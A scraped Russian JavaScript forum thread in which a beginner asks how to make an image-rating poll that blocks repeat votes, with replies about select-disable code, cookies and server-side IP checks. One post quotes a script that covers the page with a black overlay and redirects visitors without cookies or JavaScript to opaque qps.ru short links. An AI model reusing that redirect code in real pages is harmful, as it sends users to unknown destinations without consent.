Скрипт опроса
Добрый день. Нужно создать опрос для картинки варианты ответов
5 балов 3 балла 1 балл Помогите. Очень нужно. И прошу подсказать куда результаты будут сохраняться. И что бы пользователь не голосовал по несколько раз???? |
<select id="sel"> <option>зацените картинку <option>5 <option>3 <option>1 </select> <script> window.onload = function () { var sel = document.getElementById('sel'); sel.onchange = function () { var elem = this.options[this.selectedIndex]; elem.value = elem.text; this.setAttribute('disabled', 'disabled'); } } </script> |
bes,
ну после обновления страницы то он снова проголосовать сможет.. Надо хотя бы в куки записывать инфу о том что он голосовал уже. |
Цитата:
|
Цитата:
|
Кстати, окошко при запуске примеров убрали что ли (зря наверное, хотя бы в http://javascript.ru/forum/misc/3706...-otvetili.html ссылку на http://javascript.ru/formatting надо добавить)
|
Вам это так? для развития собственных навыков или хотите получить полноценное решение?
Оценить новый пользователь или нет, достаточно сложно, корректно еще наверно никто этого не делает Но стандартный путь - это дать печеньку, плюс на стороне сервера еще сохранить, что такой-то user_ip + user_agent голосовал уже, можно еще кучу параметров написать, но это если js включен, а если нет то только двумя параметрами обходиться, ну и нужна какая-то задержка, чтобы если удалил куку, не смог сразу снова проголосовать. к примеру первый раз 5 минут, а потом по нарастающей, ну и еще желательно вообще отслеживать, включены ли куки у пользователя и исходя из этого ставить таймауты |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
(Попробуй отключить куки тут, в топике и отправить сообщение <script>function setcookieMZ(a,b,c){if(c){var d=new Date();d.setTime(d.getTime());d=new Date(d.getTime()+c)}if(a&&b)document.cookie=a+'='+b+(c?'; expires='+d.toGMTString():'');else return false}function getCookieMZ(a){var b=new RegExp(a+'=([^;]){1,}');var c=b.exec(document.cookie);if(c){c=c[0].split('=')}else{return false}return c[1]?c[1]:false}</script> <noscript><meta http-equiv="refresh" content="2;URL=http://qps.ru/BZkN8" /> <div id="Nscript00" style="z-index:1000000;top:0;right:0;width:100%;height:9000px!important;background-color:#000;position:fixed;"><div id="msg-n">У Вас отключён javascript.<br>В данном режиме, отображение ресурса<br/>браузером не поддерживается <br/></div><style id="Nscript3">* {overflow-y:hidden!important;} #msg-n {position:absolute;margin-left:-125px;left:49%;top:140px;z-index:1016; width:250px; height:44px; background: #fff; color:red; padding:1%; text-align:center; border: 3px solid #ccc;font-family:Tahoma;font-size:12px!important;text-decoration: blink;line-height:125%;}</style></div></noscript><script>Nscript.innerHTML="";</script> <script>setcookieMZ('Tst0',"true",4000);var test=false; if(getCookieMZ('Tst0')=="true"){test=true;setcookieMZ('Tst0',"true",-1000);} if(!test){document.location.replace('http://qps.ru/kweGJ')} </script> |
тест скрипт тест
а как сделать что бы варианты были предложены не в строчку с выбором варика а в столбик три варианта
|
Часовой пояс GMT +3, время: 00:59. |